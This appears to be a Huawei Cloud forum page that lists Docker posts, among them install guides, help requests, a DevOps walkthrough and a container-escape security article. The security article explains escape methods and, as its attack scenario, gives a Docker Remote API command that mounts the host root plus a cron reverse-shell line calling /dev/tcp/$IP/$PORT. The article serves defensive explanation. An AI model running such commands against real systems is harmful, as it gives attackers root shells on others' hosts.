• [安装经验] 基于华为云ECS、Docker搭建MindSpore1.6.1-GPU环境
    基于华为云ECS、Docker搭建MindSpore1.6.1-GPU环境 === # 1. 华为云上选配个ECS ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517445125673101.png) # 2. 参照华为云镜像官网下载docker ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517243705786421.png) # 3. 加速镜像地址 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517499208827249.png) ``` 暂时不用添加到/etc/docker/daemon.json,等安装完nvidia-docker2再上 ``` # 4. 安装nvidia-docker2 ``` distribution=$(. /etc/os-release;echo $ID$VERSION_ID) curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.repo | \ sudo tee /etc/yum.repos.d/nvidia-docker.repo DIST=$(sed -n 's/releasever=//p' /etc/yum.conf) DIST=${DIST:-$(. /etc/os-release; echo $VERSION_ID)} yum install nvidia-docker2 ``` ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517562966568683.png) ``` 添加到daemon.json ``` ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517626890894453.png) # 5. MindSpore官网获取docker镜像及说明等(需要详细查看) ``` https://mindspore.cn/install ``` ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517650705364856.png) ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517700038173888.png) ``` docker pull swr.cn-south-1.myhuaweicloud.com/mindspore/mindspore-gpu-cuda10.1:1.6.1 同时进入容器查看cuda版本是否跟宿主机不同 另外要求宿主机版本比镜像版本高 ``` ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517765483225295.png) 容器内 --- ECS宿主机 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517825848538151.png) ``` 可以看到两个环境的不同了 ``` # 6. 最后按照官网的案例测试下mindspore-gpu按照成功没(虽然就这两步 中间还是测试了好些个镜像与容器) ``` 可以参考官网的命令格式,但复杂了些,命令供参考 docker run -it --gpus all 8ca50077f6f6镜像id bash 如果容器停了 需要再start ``` ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517935160610693.png) # 7. 按照以前在tianchi竞赛的经验编写简单Dockerfile进行测试 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/21/1650517970066620767.png) weixiewen@126.com
  • [Atlas500] atlas500 关于atlas500的运行环境求助
    问题一:atlas500的运行环境是不是建议在docker内部署?问题二:在atlas500上使用 docker https://ascendhub.huawei.com/#/detail/infer-modelzoo, 使用的版本为21.0.4,对应的cann版本为5.0.4,对应的启动docker的命令如下:docker run --device=/dev/davinci0 --device=/dev/davinci_manager --device=/dev/hisi_hdc --device /dev/devmm_svm \ -v /usr/local/bin/npu-smi:/usr/local/bin/npu-smi \ -v /home/data/miniD/driver/lib64:/home/data/miniD/driver/lib64 \ -v /run/board_cfg.ini:/run/board_cfg.ini \ --name="infer_modelzoo_21_0_4" \ -v /opt/mount/dockerHome:/root \ -p 1234:22 \ -it -u root ascendhub.huawei.com/public-ascendhub/infer-modelzoo:21.0.4 /bin/bash docker启动后,使用npu-smi info命令报错: npu-smi: error while loading shared libraries: libdrvdsmi_host.so: cannot open shared object file: No such file or directory然后使用 find / -name libdrvdsmi_host.so命令显示如下:/home/data/miniD/driver/lib64/libdrvdsmi_host.so /home/data/miniD/driver/lib64/inner/libdrvdsmi_host.so请问:docker启动后需要设置什么环境变量吗?  另外,在Python中使用 print(acl.init)) 结果为507008,这也是错误。问题三:在atlas500上使用 docker: https://ascendhub.huawei.com/#/detail/ascend-infer ,请问这个镜像和上面的镜像有什么区别?docker启动命令为:docker run -it \ --device=/dev/davinci0 \ --device=/dev/davinci_manager \ --device=/dev/devmm_svm \ --device=/dev/hisi_hdc \ -v /usr/local/bin/npu-smi:/usr/local/bin/npu-smi \ -v /home/data/miniD/driver/lib64:/home/data/miniD/driver/lib64 \ -v /run/board_cfg.ini:/run/board_cfg.ini \ -v /opt/mount/dockerHome:/root \ --name="ascend-infer_21_0_4" \ -p 1244:22 \ ascendhub.huawei.com/public-ascendhub/ascend-infer:21.0.4-ubuntu18.04 \ /bin/bashdocker启动后,使用npu-smi info命令报错: npu-smi: error while loading shared libraries: libc_sec.so: cannot open shared object file: No such file or directory请问:docker启动后需要设置什么环境变量吗?  另外,在Python中使用 import acl,报错为:ImportError: libascend_hal.so: cannot open shared object file: No such file or directory麻烦专家给解答一下,谢谢了
  • [知识分享] 解构华为云HE2E项目中的容器技术应用
    本文分享自华为云社区《解构华为云HE2E项目中的容器技术应用》,作者: 敏捷小智。 [华为云DevCloud HE2E DevOps实践](https://support.huaweicloud.com/bestpractice-devcloud/devcloud_practice_2000.html)当中,项目采用Docker技术进行构建部署。 容器技术应用,其实说简单也很简单,其流程无外乎:制作镜像——上传镜像——拉取镜像——启动镜像。 今天,我们就带大家**从容器技术应用的角度来解构HE2E项目**。 HE2E技术架构图: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992365690666986.png) # 创建项目 在华为云DevCloud中创建项目时选择DevOps样例项目,即可创建出预置了代码仓库、编译构建、部署等任务的DevOps样例项目,此项目即HE2E项目。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992378881932915.png) # 代码仓库 HE2E项目中预置了代码仓库phoenix-sample。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992390990581615.png) 在根目录下可以看到images、kompose、result、vote、worker五个文件夹,以及LICENSE、README.md和docker-compose-standalone、docker-compose两个yml文件。Images文件夹存了几张图片,LICENSE和README也与代码内容无关,docker-compose.yml文件是应用于本地开发时的测试文件,这些都无需理会。 # 配置Kubectl的kompose文件夹 我们先看一下kompose文件夹,此文件夹下有多个yaml文件,通过命名可以看出这些文件是针对于每个微服务应用的配置。当我们进行CCE部署时就读取这里的配置(在部署时进行配置)。本着由浅入深的精神,本文先对ECS部署时所需的配置进行讲解,大家不要心急噢。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992407472733292.png) # 功能模块与制作镜像的Dockerfile result、vote、worker三个文件夹分别对应HE2E当中的三个功能模块:结果、投票、处理。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992423270273381.png) ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992434412423310.png) 可以看到,三个文件夹下各自都有Dockerfile文件。制作镜像的时候就是靠这些Dockerfile文件来进行制作的。 我们以result下的Dockerfile进行举例说明: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992465473662973.png) FROM:定制的镜像都是基于 FROM 的镜像,这里的node:5.11.0-slim就是定制需要的基础镜像。后续的操作都是基于 node:5.11.0-slim。 WORKDIR /app:指定并创建工作目录/app。 RUN 命令>:执行命令>。 ADD 文件> 目录>:复制文件>至目录>。 5-9行:执行npm安装操作,并将相关文件存放入相应目录。 ENV PORT 80:定义环境变量PORT=80 EXPOSE 80:声明端口80。 CMD 命令>:在docker run时运行命令>。 在编译构建任务phoenix-sample-ci中,“制作Result镜像并推送到SWR仓库”步骤,通过“工作目录”、“Dockerfile路径”两个选项确定制作镜像时读取的Dockerfile:工作目录>/,即./result/Dockerfile。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992476232626864.png) 其余的vote和worker两个功能模块也是按此种办法制作镜像。值得一提的是,worker文件夹下有Dockerfile、Dockerfile.j和Dockerfile.j2三个文件,但是在构建任务中,我们只需选择一个文件进行镜像制作,选择的是Dockerfile.j2这个文件。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992491928827644.png) 在Dockerfile.j2文件中,将target下的内容复制到code/target下,但是target文件夹又并不在代码当中。这是因为worker下的项目是Java项目,target文件夹是在Maven构建的过程产生的,所以在构建任务phoenix-sample-ci中,制作Worker镜像之前需要先通过Maven进行构建。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992499038223440.png) 通过以上的Dockerfile文件已经可以制作出三大功能模块对应的容器镜像了。在部署主机中,直接使用docker login、docker pull和docker run命令就可以登录、拉取并启动相应的镜像。但是这种方式要求对每个镜像都进行拉取和启动,不能一次性配置全部镜像。故此,我们引入了docker compose,通过docker compose实现对 Docker 容器集群的快速编排。一键(一个配置文件)配置本项目所需的各个功能模块。 # 配置docker-compose的docker-compose-standalone.yml文件 当我们部署本项目到服务器时,采取docker-compose的方式启动。 在部署任务phoenix-sample-standalone中,最终通过执行shell命令启动本项目: docker-compose -f docker-compose-standalone.yml up -d ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992522247849007.png) 这句shell命令中的docker-compose-standalone.yml正是我们代码仓库根目录的docker-compose-standalone.yml文件。 下面对docker-compose-standalone.yml文件进行解读。 version:指定本 yml 依从的 compose 哪个版本制定的。 services:包含的服务。 本yml中含有redis、db、vote、result、worker五个服务。其中db即数据库postgres。 image:镜像地址。 以redis和worker服务为例,其镜像为docker-server/docker-org/redis:alpine、docker-server/docker-org/worker:image-version,这里采用的是参数化替换的形式定义镜像地址的。 在构建任务phoenix-sample-ci中,“替换Docker-Compose部署文件镜像版本”步骤的shell命令正是将docker-compose-standalone.yml文件中的docker-server、docker-org、image-version三处替换为我们在该构建任务中定义的三个参数dockerServer、dockerOrg、BUILDNUMBER。 进行这样的替换以后,我们的docker-compose-standalone.yml中的镜像地址才会变成我们所需的最终地址。例:swr.cn-north-4.myhuaweicloud.com/devcloud-bhd/redis:alpine、swr.cn-north-4.myhuaweicloud.com/devcloud-bhd/worker:20220303.1。 五个服务中,vote、result、worker是本项目构建生成的,redis和db是采用第三方应用,所以在镜像版本方面会有区别。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992549737260463.png) ports:端口号。将容器和主机绑定到暴露的端口。 在vote当中ports: 5000:80就是将容器所使用的80端口号绑定到主机的5000端口号,这样我们就可以通过主机ip>:5000来访问本项目的用户端界面了。 networks:配置容器连接的网络。这里使用的是最简单的两种声明网络名称。 frontend即前端,backend即后端。 environment:添加环境变量。POSTGRES_HOST_AUTH_METHOD: "trust",此变量防止访问postgres时无法登录。 volumes:将主机的数据卷或着文件挂载到容器里。db-data:/var/lib/postgresql/data下的内容即成为postgres当中的数据内容。 deploy:指定与服务的部署和运行有关的配置。placement:constraints: [node.role == manager]即:权限设置为管理员。 depends_on:设置依赖关系。vote依赖redis、result依赖db。 至此,整个HE2E项目的代码结构已经解构完毕。 # 编译构建 其实在完成代码解构之后,整个项目已经非常清晰了。代码中包括vote、result、worker三个功能模块,项目还用到了redis和postgres两个第三方应用。所以,我们在编译构建环节的主要目的就是把这些服务的镜像制作出来并上传到SWR容器镜像仓库中。 本项目中预置了5个构建任务。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992578449603097.png) 我们仅分析phoenix-sample-ci任务即可。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992591941404932.png) # 三个功能模块的构建 在进行代码解构时,对构建任务的部分内容已经进行过分析了,其中就包括如何通过指定Dockerfile文件制作镜像,即docker build(制作)的操作。除此之外,制作XX镜像并推送到SWR的步骤中还包括了推送镜像所需的信息。这里设置了推送区域、组织、镜像名字、镜像标签,其实就是我们进行docker tag(打标签)和docker push(推送)的操作。 在vote、result、worker的镜像制作并推送的过程中,通过参数BUILDNUMBER定义镜像的版本号。BUILDNUMBER是系统预定义参数,随着构建日期及次数变化。 worker镜像在制作之前,需要先对worker目录下的工程进行Maven构建,这样就会生成Dockerfile.j2中(制作镜像时)所需的target文件。 # Postgres和Redis的构建 在制作了三个功能模块镜像以后,接下来要做的是生成Postgres和Redis 镜像。这里选择的办法是,通过shell命令写出这两个应用的Dockerfile。 echo from postgres:9.4 > Dockerfile-postgres echo from redis:alpine > Dockerfile-redis 通过这段shell命令就会在当前的工作目录下生成Dockerfile-postgres和Dockerfile-redis两个文件。 Dockerfile-postgres: FROM postgres:9.4 Dockerfile-redis: FROM redis:alpine 在接下来的步骤当中,指定当前目录下的Dockerfile-postgres和Dockerfile-redis两个文件制作镜像并上传。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992617870611458.png) # 替换部署配置文件并打包 通过以上的步骤,镜像就已完全上传至SWR仓库了。后续的“替换Docker-Compose部署文件镜像版本”和“替换Kubernates部署文件镜像版本”两个步骤分别将代码仓根目录下的docker-compose-standalone.yml和kompose下的所有XX-deployment.yaml文件中的docker-server、docker-org、image-version替换为构建任务中的参数dockerServer、dockerOrg、BUILDNUMBER。这两步骤的意义就是将ECS部署(docker-compose/docker-compose-standalone.yml)和CCE部署(Kubernates/Kompose)所需的配置文件修改为可部署、可应用的版本。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992636272683258.png) 这两个文件修改完毕后,都进行tar打包的操作。打包后的产物也通过接下来的两个“上传XX”步骤上传软件包到了软件发布库。 # Tips 在本项目的帮助文档中,提到了“配置基础依赖镜像”。整个这一段落是由于构建任务中使用的基础镜像源DockerHub拉取受限,采取了一个折中的办法拉取镜像。简言之,整段操作即通过创建prebuild任务来实现基础镜像版本的替换,以避免开发者在进行构建phoenix-sample-ci任务时出现拉取镜像失败的情形。相应地,也在“配置并执行编译构建任务”中禁用了Postgres和Redis镜像的制作步骤。 # 部署 在编译构建环节,我们已经成功将三个功能模块镜像(vote、result、worker)和两个第三方镜像构建并上传至SWR(容器镜像仓库)中了。接下来需要做的就是将SWR中的镜像拉取到我们的部署主机并启动。 在整个实践中,提供了ECS部署和CCE部署两种方式,并且在项目中预置了3个部署任务。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992665932342943.png) 我们仅分析phoenix-sample- standalone任务即可。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992675863946981.png) # 传输软件包至部署主机中 在构建环节,我们除了制成镜像并上传到SWR以外,还对配置文件进行了修改、压缩并上传到了软件发布库。在部署过程中,我们首先要做的,就是把配置文件从软件发布库中传到部署主机当中。 结合实际的部署任务来看,就是:向[主机组] group-bhd部署一个[软件包/构建任务(的产物)],我们选择了[构建任务] phoenix-sample-ci的最新版本([构建版本][Latest])构建产物,将其[下载到主机的部署目录]。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992690142429572.png) 这一步骤执行完毕后,在部署主机的/root/phoenix-sample-standalone-deploy路径下,就会存在之前构建任务中压缩的docker-stack.tar.gz和phoenix-sample-k8s.tar.gz。ECS部署中,我们仅需要解压docker-stack.tar.gz,这个文件是docker-compose-standalone.yml的压缩包(回顾一下构建任务中的“替换部署配置文件并打包”)。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992698717175913.png) # 通过执行shell命令启动docker-compose 解压完成后,我们就可以通过执行docker-compose启动命令来启动项目了。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992904755929258.png) 在这一步骤当中,前三行分别输出了三个参数docker-username、docker-password、docker-server。这三个参数是用以进行docker login操作的。因为我们在docker-compose-standalone.yml中涉及到拉取镜像的操作,需要在拉取镜像前先登录SWR镜像仓库。 登录完毕后,就可以进入/root/phoenix-sample-standalone-deploy目录下(cd /root/phoenix-sample-standalone-deploy) 启动docker-compose(docker-compose -f docker-compose-standalone.yml up -d)。 至此,项目已经部署至主机当中,在主机中,通过docker ps -a指令可以看到5个容器进程。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992916628234226.png) 与此同时,访问http://{ip}:5000和http://{ip}:5001即可访问项目的用户端与管理端。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992924275226079.png) ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/15/1649992931703616375.png) # 结语 本文从容器技术应用的角度解构了HE2E项目的代码仓库配置、镜像构建、及docker-compose的部署方式。希望通过本篇文章分享可以使更多的开发者了解容器技术和华为云。
  • [干货汇总] 【微服务系列】云原生2.0时代:企业更应了解一下容器安全
    >摘要:云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。本文分享自华为云社区《[云原生2.0时代:企业更应了解一下容器安全](https://huaweicloud.blog.csdn.net/article/details/114066177)》,原文作者:华为助力企业上云。 随着云原生技术的成熟和市场需求的升级,云计算的发展已步入新的阶段,云原生2.0时代已经到来。从技术角度看,以容器、微服务以及动态编排为代表的云原生技术蓬勃发展,成为赋能业务创新的重要推动力,并已经应用到企业核心业务。从市场角度看,云原生技术已在金融、制造、互联网等多个行业得到广泛验证,支持的业务场景也愈加丰富,行业生态日渐繁荣。云原生2.0是企业智能升级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、应用敏捷、业务智能、安全可信,成为“新云原生企业”。 云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。 传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源,可以实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,但是作为一种新技术,容器的安全防护也与虚拟机所有不同。 # 容器 VS 虚拟机 容器与虚拟机具有相似的资源隔离和分配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382730941155532.png) 容器VS虚拟机 虚拟机(VM)是对物理硬件的抽象,将一台服务器转化为多台服务器。Hypervisor允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本,占用数十GB的空间。虚拟机启动速度也比较慢。 容器是应用程序层的一个抽象,将代码和依赖打包在一起。多个容器可以运行在同一台机器上,与其他容器共享操作系统内核,每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十MB大小),可以处理更多的应用程序。 # 容器逃逸 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382756697613912.png) 容器逃逸,是容器技术启用以来一直被关注的问题,甚至被认为是容器的首要安全问题。所谓“逃逸”,指的是“流氓”容器/虚拟机尝试突破隔离环境的限制,访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露,或者系统及服务发生DOS的行为。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382767369633386.png) 但正是由于容器与宿主系统共享内核,因此容器与宿主机有着更大的接触面,隔离层次更少,更容易从容器内实施逃逸攻击。因此,如何解决容器逃逸安全风险,避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。 # 容器逃逸常用手段 ## (1)通过容器自身漏洞及内核漏洞逃逸 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382798634570812.png) 攻击的主要途径之一就是利用漏洞,通过程序设计或实现的缺陷来执行非法操作,容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一,同时由于容器共享宿主系统内核,因此内核漏洞是其逃逸的另一路径,同时由于内核漏洞的数量远远大于容器自身漏洞,因此内核漏洞甚至成为容器逃逸更为主要的一个手段。 **1)利用容器漏洞逃逸 – shocker攻击** Shocker攻击是容器逃逸最著名的案例,其本质是利用了一个不常用的系统调用open_by_handle_at,同时借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的/.dockerinit,新版本的/etc/hosts)作为起点,执行暴力破解攻击,最终获取到要访问的宿主系统文件的句柄信息并进行读取,从而实现逃逸。 Github地址:https://github.com/gabrtv/shocker 容器执行shocker攻击逃逸访问宿主系统/etc/shadow文件: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382842819272924.png) 2)内核漏洞利用逃逸 – dirtycow攻击 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382854647880885.png) DirtyCow(脏牛漏洞,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,其也可被容器利用实施逃逸。容器利用dirtycow漏洞改写虚拟动态共享库VDSO(Virtual Dynamically Shared Objec),并将shellcode置入其中,当主机系统进程调用并执行修改后的内容时,就会借用此进程身份执行置入的shellcode,并最终在容器内获得一个来自主机的root权限的shell。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383305429739993.png) ## (2)不安全配置引发逃逸 **1)不安全启动,如privileged特权容器** 容器以--privileged参数启动时称为特权容器,特权容器顾名思义具有较高权限,包括对宿主机上的设备的访问权限。因此,攻击者可以直接在容器内mount主机设备并进行文件访问,从而轻而易举实现逃逸。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383328092402604.png) ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383335126936804.png) **2)不安全挂载,如挂载docker.sock到容器** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383351270304116.png) 图片来源:https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd Docker.sock文件是一个Unix domain socket文件,是Docker daemon默认监听的套接字文件,docker client通过它与docker daemon进行通信。docker client将信息查询和下发命令等请求通过docker.sock发给docker daemon,然后由deamon执行具体请求,包括镜像查询、容器创建等。 将docker.sock挂载到容器内,可以在容器内继续运行一个容器,实现docker in docker,并可在容器内容器启动时通过-v参数将宿主机根目录挂载到容器内,从而在容器内访问宿主机文件,实现逃逸。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383363676589043.png) **3)Docker remote api未授权访问** 默认情况下,docker daemon只允许通过unix domain socket – docker.sock进行本地通信操作,但除此之外,docker daemon也提供了Restful API供远端client访问(daemon通过-H参数指定监听端口),如果未对访问进行权限控制及合规性检查,则攻击者也可以访问这个API执行高危操作,并实施逃逸攻击。 例如一种攻击场景: - 通过Remote API创建一个容器,并将宿主系统根目录挂载到容器内: `# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash` 其中:$IP表示docker daemon服务ip,$PORT表示Remote API监听端口 - 将反弹shell命令写入计划任务文件 `# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root` 其中:$IP表示攻击端IP,$PROT表示攻击端监听端口 - 攻击端监听上一步中的$PORT端口,获取来自对端(docker服务所在系统)的具有root权限得反弹shell,并任意访问。 # 华为云容器安全服务CGS之逃逸安全防护方案 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383468117387267.png) # 华为云容器安全服务CGS 华为云容器安全服务CGS构建了容器安全威胁纵深防御体系,提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力,提供针对容器的Build、Ship、Run全生命周期保护能力,渗透到整个容器DevOps流程,保证容器虚拟环境从开发到生产整个流程的安全。其中,容器逃逸检测是CGS的核心功能之一,它通过如下手段构建系统化的容器逃逸全面防护能力: ## (1)监控容器不安全配置启动 前文中提到,不安全配置是容器逃逸的一个重要原因。因此,监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS可以针对容器启动的各种不安全配置进行监控,包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等,从容器创建伊始就检测逃逸风险,实现整体防护方案第一步。 ## (2)容器行为深度分析 容器启动后,CGS可对容器运行过程中的行为进行实时跟踪和观察,监控容器内的进程运行、文件访问、网络连接、系统调用等行为,并对行为进行深度分析,从行为过程体现出来的特征到行为所产生的结果进行全面分析检测,有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383503769944724.png) ## (3)容器基线机器学习 一般而言,容器的行为通常固定且纯粹,比如一个提供web服务的容器内可能只会运行一个nginx进程,一个提供DB服务的容器内可能只会运行一个mysql进程,并且进程所执行的操作,包括文件访问、系统调用、网络连接等行为都有固定合理范围,因此可以对容器圈定正常行为范围,构建行为基线。CGS利用机器学习技术,从静态和动态两个维度分析容器正常行为并建立基线,使得基线模型更准确、更完整,然后根据基线跟踪容器行为,感知基线以外的异常行为,实现对攻击行为的全面感知,并有效提升对于容器利用0day漏洞进行逃逸攻击的检测能力。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383517370124952.png) 华为云CGS容器逃逸方案防护机制内置在防护平台,无需用户参与即可实现容器逃逸系统化检测,具有良好的易用性,同时方案采用事件驱动机制实现性能高、反应快,为容器安全保驾护航。
  • [问题求助] EulerOS维护的docker版本与docker官方的不同
    问题描述:1. 我使用EulerOS通过yum install docker下载,然后使用docker login,在使用python脚本调用docker.from_client()的时候,报错。问题定位:EulerOS使用的docker版本对原本保存在本地的~/.docker/config.json存的auth字段进行了加密。。。。。为什么要这么做? 有配套的python sdk么?可以提供官方版本的docker么?
  • [技术干货] Mac OS系统下使用docker安装华为openGauss数据库指导手册
    《数据库》Mac OS系统下使用docker安装华为openGauss数据库指导手册指导老师:于明远计科+智能2001班 汤贺强目录一、实验介绍 1.1实验简介 1.2实验描述 1.3实验环境 二、安装Docker应用容器引擎 2.1使用 Homebrew 安装(2.1、2.2二选一)2.2手动下载安装 2.3安装建议 三、使用Docker拉取openGauss镜像文件并进行配置 3.1操作流程 3.2操作建议 四、安装DataGrip多引擎数据库环境 4.1操作流程 五、参考资料 一、实验介绍1.1实验简介openGauss是关系型数据库,采用客户端/服务器,单进程多线程架构,支持单机和一主多备部署方式,备机可读,支持双机高可用和读扩展。本实验主要描述在Mac OS系统下使用docker安装华为openGauss数据库。1.2实验描述本实验主要描述在Mac OS系统下使用docker安装华为openGauss数据库,并进行简单的数据库相关操作。1.3实验环境Mac OS Monterey12.2.1+DataGrip 2021.3.4, build DB-213.6777.22.+Docker 4.5.0二、安装Docker应用容器引擎2.1使用 Homebrew 安装(2.1、2.2二选一) macOS 我们可以使用 Homebrew 来安装 Docker。Homebrew 的 Cask 已经支持 Docker for Mac,因此可以很方便的使用 Homebrew Cask 来进行安装:$ brew install --cask --appdir=/Applications docker==> Creating Caskroom at /usr/local/Caskroom==> We'll set permissions properly so we won't need sudo in the futurePassword: # 输入 macOS 密码==> Satisfying dependencies==> Downloading https://download.docker.com/mac/stable/21090/Docker.dmg ######################################################################## 100.0%==> Verifying checksum for Cask docker==> Installing Cask docker==> Moving App 'Docker.app' to '/Applications/Docker.app'.docker was successfully installed!在载入 Docker app 后,点击 Next,可能会询问你的 macOS 登陆密码,你输入即可。之后会弹出一个 Docker 运行的提示窗口,状态栏上也有有个小鲸鱼的图标()。2.2手动下载安装如果需要手动下载,请复制以下链接下载https://docs.docker.com/desktop/mac/install/如同 macOS 其它软件一样,安装也非常简单,双击下载的 .dmg 文件,然后将鲸鱼图标拖拽到 Application 文件夹即可。从应用中找到 Docker 图标并点击运行。可能会询问 macOS 的登陆密码,输入即可点击顶部状态栏中的鲸鱼图标会弹出操作菜单。第一次点击图标,可能会看到这个安装成功的界面,点击 "Got it!" 可以关闭这个窗口。2.3安装建议启动终端后,通过命令可以检查安装后的 Docker 版本(确认是否安装成功)。$ docker --versionDocker version 17.09.1-ce, build 19e2cf6上述Docker安装操作若同时进行会有出现两个图标的风险,建议只安装一个。三、使用Docker拉取openGauss镜像文件并进行配置3.1操作流程①打开docker后打开终端(Terminal)使用docker搜索镜像文件 (base)→ - docker search opengauss②利用命令拉取enmotech/opengauss文件(可选取其他文件,建议选取标星较多的文件) (base)→ - docker pull enmotech/opengauss(第一次拉取需要几到十几分钟,请耐心等待)③配置opengauss虚拟镜像并运行docter run --name opengauss --privileged=true -d -e GS_PASSWORD=openGauss@123-p 5432:5432 enmotech/opengauss:latest注意主要格式为“docter run --name 名称 --privileged=true -d -e GS_PASSWORD=密码(受opengauss限制需要有大小写字母及特殊字符) -p 接口号 文件:版本号”此时,docker中已经建立好该容器,点击start进行运行(如此步骤出现闪退,请回顾上述操作是否有误)④使用命令台与数据库进行连接,检验是否安装成功(base)  → - docker exec -it opengauss bashroot@b26292df61bf:/# su ommomm@b26292df61bf:/$ gsql -d postgres -U gaussdb -W 'openGauss@123'gsql ((openGauss 2.1.0 build 590b0f8e) compiled at 2021-09-30 14:29:04 commit 0 last mr  )Non-SSL connection (SSL connection is recommended when requiring high-security)Type "help" for help.openGauss=> 输入“- docker exec -it opengauss(自定义文件名) bash”后进入root用户(会需要提供系统密码),而后输入su omm切换到omm用户,最后输入“ gsql -d postgres -U gaussdb -W 'openGauss@123”,若出现以下命令则成功进入。为与便于在下一步骤操作,在此阶段需再生成一个zjutuser用户。openGauss=> CREATE USER zjutuser WITH PASSWORD "Bigdata@123"; CREATE ROLE 此时可关闭终端进行下一步配置3.2操作建议建议在输入命令过程中多多注意空格、大小写、特殊字符等问题,避免出现操作失败的情况。四、安装DataGrip多引擎数据库环境4.1操作流程①打开DataGrip官网(https://www.jetbrains.com/datagrip/)下载对应版本并安装。(DataGrip免费使用方法:注册Jetbrains账户使用学校给的邮箱“12位学号@zjut.edu.cn”,邮箱具体使用方法请使用精弘网络查询。学生认证后会给予一个License ID,在DataGrip初始使用界面输入后激活或通过账户登入激活。此许可证使用期仅一年,使用期内可免费使用Jetbrains全家桶,到期后需重新认证申请)②打开DataGrip创建数据源,此时需保持Docker中的opengauss在运行。新建数据源:点击文件——New——Data 